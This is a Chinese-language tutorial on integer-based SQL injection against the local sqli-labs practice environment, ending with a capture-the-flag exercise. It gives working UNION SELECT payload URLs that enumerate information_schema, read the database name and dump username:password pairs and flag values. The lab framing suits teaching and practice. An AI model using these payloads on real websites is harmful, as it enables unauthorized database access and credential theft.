# SQL 注入之整型注入

本篇使用整型注入来从 0 到 1 进入 “SQL 注入” 的大门。

# 环境准备

当然是先安装 phpStudy,然后一键傻瓜式安装后点击启动按钮

image-20220928202842147

之后点击 MySQL 管理器

image-20220928203059624

双击 localhost,账户名 root,密码 root 即可进入。

image-20220928203206981

打开浏览器,选择 sqli

image-20220928203903223

选择第一个 Setup

image-20220928203930840

出现这个界面,即完成了数据库的初始化

image-20220928203950837

点击后退键回到上一个页面,然后点击 Less-1

image-20220928204115026

出现 SQLI DUMB SERIES-1

image-20220928204123886

接下来以 Less-2 作为例子进行讲解:

image-20220928210728567

# SQL 注入步骤

# ①判断是否有注入 (判断是否未严格校验)

# 1) 可控参数的改变能否影响页面的显示结果

网页让输入 id,可是我们并没有看到交互框,因此猜测有可能是需要发送请求。

点击查看网页源代码,在 Network 这里看到是 GET 请求。

image-20220928213756712

因此我们选择在链接后面加上 id 参数

image-20220928213510534

发现成功令其输出内容。

此时我们再次改变 GET 请求中 id 的值,发现,内容会对应有所变化。

image-20220928214022889

# 2) 输入的 SQL 语句是否能报错

因为能通过数据库的报错,看到数据库的一些语句痕迹

我们假设它后台的查询语句是

select username,password from user where id = $id

猜想:能否通过加单引号令其出错?

因为:

如果是整型注入漏洞,则像 3’这样的字符传入 $id 处会引发错误。

如果是单引号注入漏洞,像 3’这样的字符传入 $id 处也会引发错误。

image-20220928214501924

黄字部分的报错语句,非常之重要!

near ‘xxxxxxxxxx’ at line 1 是在告诉我们在第 1 行的 xxxxxxx 语句处出现错误,而我们通过加入单引号使其发生错误,错误信息就会帮我们显示了出错的局部代码,也就是 “输出了单引号后面的语句”——LIMIT 0,1。

为了再次确定 near ‘xxxxxxxxxx’ at line 1 中在 LIMIT 0,1 之前的一个单引号是我们输入的单引号,我们再次改变 GET 请求中 "’ '"(单引号)变为 """(双引号)

image-20220928215359897

发现成功令报错信息中 near 'xxxxx’中的 LIMIT 前一个符号发生改变。

#如果是整型注入,加入单引号会报错
select username,password from user where id = 2' limit 0,1

#如果是单引号注入,加入单引号也会报错
select username,password from user where id = '2'' limit 0,1

据目前输入的结果来看,此网页存在 “整型注入” 或者 “单引号注入”

# 3) 输入的 SQL 语句能否不报错

为了查看我们的语句能够成功闭合

那怎么区分到底是整型还是单引号呢?

使用 # 来注释后面语句

#加入#号后,两个语法依旧错误,故都会报错
select username,password from user where id = 2' # limit 0,1
select username,password from user where id = '2' #' limit 0,1

结果确实是报错。

image-20220928220327744

接下来我们删掉单引号

#如果是整型注入,则删掉单引号,保留#号后,不会报错!
select username,password from user where id = 2 # limit 0,1

#如果是单引号注入,则删掉单引号,保留#号后,依旧会报错
select username,password from user where id = '2 #' limit 0,1

image-20220928220529170

# ②什么类型的注入

因此,此处经过上述报错信息确定,存在整型注入

# ③语句是否能够被恶意修改

恶意修改主要指能否再加入一些我们想要的判断条件,比如:

select username,password from user where id = 2 and 0# limit 0,1

如果是整型注入无误,这里条件为 “id = 2 and 0”—— 这是永假条件,则不会有任何查询结果。

image-20220928221547372

结果正如我们所料,空空如也。

# ④是否能够成功执行

第三个能满足,其实第四个就顺带就 OK。

# ⑤获取我们想要的数据

关键数据是保存在数据库里面的,关系如下:

数据库 -> 表 -> 字段 -> 值

打开 MySQL,我们可以看到其中有 information_schema 库(这是 MySQL 自带的库,管理所有表信息)

image-20220928223622076

这个库中有三个表非常值得我们关注:

Schemata 表(包含所有的 库名信息 )、Tables 表(包含所有的 表名信息 )、Columns 表(包含所有的 列名信息

首先是 Schemeta 表schema_name 对应着所有数据库的名字。

image-20220928224006640

其次是 Tables 表table_name 这个列里,存储了 table_schema对应的库 下面的所有表

image-20220928224135720

最后是 Columns 表,通过 table_schema 对应的库, table_name 对应的表,使用 column_name 对应的列名,来唯一地定位某个列

image-20220928224405698

# 1)构造联合查询

确定的整型注入中,我们需要构造出我们想要的查询内容,比如在 information_schema 库 Schema 表中获取 schema_name

http://127.0.0.1/sqli/Less-2/?id=3 select schema_name from information_schema.schemata #

image-20220928225341595

但如果像上面这样构造,会报错,我们需要使用到联合查询。

http://127.0.0.1/sqli/Less-2/?id=3 union select schema_name from information_schema.schemata #

image-20220928225106827

但是,如果像上面这样构造,依旧会报错,在 SQL 查询中,union 前后的两个列 ++ 需要列数完全一致才可拼接 ++。

因此,需要使用占位符来定位前面的查询是多少列:

#占位一个,后面的代码用#注释掉
http://127.0.0.1/sqli/Less-2/?id=3 union select 1 #
#占位两个,后面的代码用#注释掉
http://127.0.0.1/sqli/Less-2/?id=3 union select 1, 2 #
#占位三个,后面的代码用#注释掉
http://127.0.0.1/sqli/Less-2/?id=3 union select 1, 2, 3 #
....

注意,这里的 1,2,3 可以填任何数字或者符号,仅仅为了占位使用,可以被任意 “想要看到的输出内容” 覆盖

经过多次定位,我们最终得到:前面的查询使用到的是 3 个列

image-20220928225313035

因此有:

http://127.0.0.1/sqli/Less-2/?id=3 union select 1, 2, schema_name from information_schema.schemata #

image-20220928225608030

虽然正确显示,但是我们查询的内容并没有显示出来。这是因为,使用 union 查询,还有个 bug 就是如果前面的查询有效,最终结果会在前面查询到的结尾后面拼接

为了让后面查询到的内容(我们 想要看到的数据 )提前,我们需要令前面的查询失效,简单的方法就是令 id = 39888 这样平常不会使用的奇怪数字:

http://127.0.0.1/sqli/Less-2/?id=39888 union select 1, 2, schema_name from information_schema.schemata #

image-20220928225926603

# 2)拼接多组内容在同一行输出、寻找所在库

OK,我们在第二个占位符(也就是数字 2 所在的位置)上,看到输出了一个 schema_name,但是我们想要输出所有的 schema_name,怎么办?

使用 MySQL 查询语句提供的 group_concat () 函数

http://127.0.0.1/sqli/Less-2/?id=39888 union select 1, group_concat(schema_name), schema_name from information_schema.schemata #

可以看到,原本占位符 2 所在的位置,已经被一组输出内容所替换。

image-20220928230746841

除了 group_concat (),我们还可以使用:

#输出当前使用数据库的名称
database()
#输出当前服务器中使用数据库的用户的名字和其对应的主机
user()
#输出当前数据库版本号
version()
#输出该服务器数据库安装路径(数据库安装在哪里)
@@basedir
#输出数据库中数据的存放路径(该存放路径下有各个数据库的数据、数据库中表的数据)
@@datadir
#输出操作系统的版本号
@@version_compile_os
#md5(str)可以对传入的字符串进行,d5加密,并返回加密后得到的32位字符串。
md5('xxxx')
#使用某个拼接符如“:”来拼接str1和str2
concat_ws(':', str1, str2)

接着我们查询所在数据库的名字:

http://127.0.0.1/sqli/Less-2/?id=39888 union select 1, group_concat(schema_name), database() from information_schema.schemata #

哦,原来是在 security 数据库中

image-20220928231402676

# 3)确定想从某个库中拿到什么表,从表中拿到什么列

我们看看从 security 库中都可以读取什么表?

核心 —— 在 information_schema 库 Tables 表中,查询当 table_schema 的值为我们刚刚获取的 security 库时

http://127.0.0.1/sqli/Less-2/?id=39888 union select 1, group_concat(table_name), database() from information_schema.tables where table_schema = database() #

image-20220928231639522

获取到 security 库中的所有表为emailsreferersuagentsusers

我们比较关心账号密码相关,所以眼光聚焦到 users 表。

核心 —— 在 information_schema 库 Columns 表中,查询当 table_schema 的值为我们刚刚获取的 securitytable_nameusers

http://127.0.0.1/sqli/Less-2/?id=39888 union select 1, group_concat(column_name), database() from information_schema.columns where table_schema = database() and table_name = 'users' #

获取到 security 库中,users 表里所有列为idusernamepassword

image-20220928232355430

我们想要获取 username 和 password 的全部对应关系,使用 concat_ws 函数,把 username 和 password 用冒号拼接起来:

核心 —— 由于已经知道了所在 security 库users 表,因此直接 select xxxx from security.users

http://127.0.0.1/sqli/Less-2/?id=39888 union select 1, group_concat(concat_ws(':', username, password)), 3 from security.users #

image-20220928232842359

小练习

#1.查看注入类型
http://127.0.0.1/SQLC/sql-1.php/?id=1
http://127.0.0.1/SQLC/sql-1.php/?id=1' # 报错(整型和单引号都会报错)

#2.确定整型注入
http://127.0.0.1/SQLC/sql-1.php/?id=1 # (只有整型不会报错)
-----结果-----
Username: kevin
Password: Kevin

#3.确定列数
http://127.0.0.1/SQLC/sql-1.php/?id=1 union select 1, 2, 3 #
-----结果-----
Username: kevin
Password: Kevin

#4.构造联合查询,确定所在库名。
http://127.0.0.1/SQLC/sql-1.php/?id=12345 union select 1, database(), schema_name from information_schema.schemata #
-----结果-----
Username: challenge
Password: information_schema

#5.确定在这个库中,都有什么表
http://127.0.0.1/SQLC/sql-1.php/?id=12345 union select 1, database(), group_concat(table_name) from information_schema.tables where table_schema = database()#
-----结果-----
Username: challenge
Password: emails,flag,users

#6.确定我们要找flag表,并看这个表中有什么列
http://127.0.0.1/SQLC/sql-1.php/?id=12345 union select 1, database(), group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'flag'#
-----结果-----
Username: challenge
Password: flag,value

#7.取列的值,另外把查询的from 后面改成对应的"库.表"
http://127.0.0.1/SQLC/sql-1.php/?id=2356 union select 1,database(), group_concat(concat_ws(':', flag, value)) from challenge.flag#
-----结果-----
Username: challenge
Password: flag1:mars,flag2:coobe,flag3:gir,flag4:margin,flag5:tubi,flag6:xss,flag7:any,flag8:sqlc,flag9:tasi,flag10:moo,flag12:false,flag11:muse

至此,整型注入演示完毕。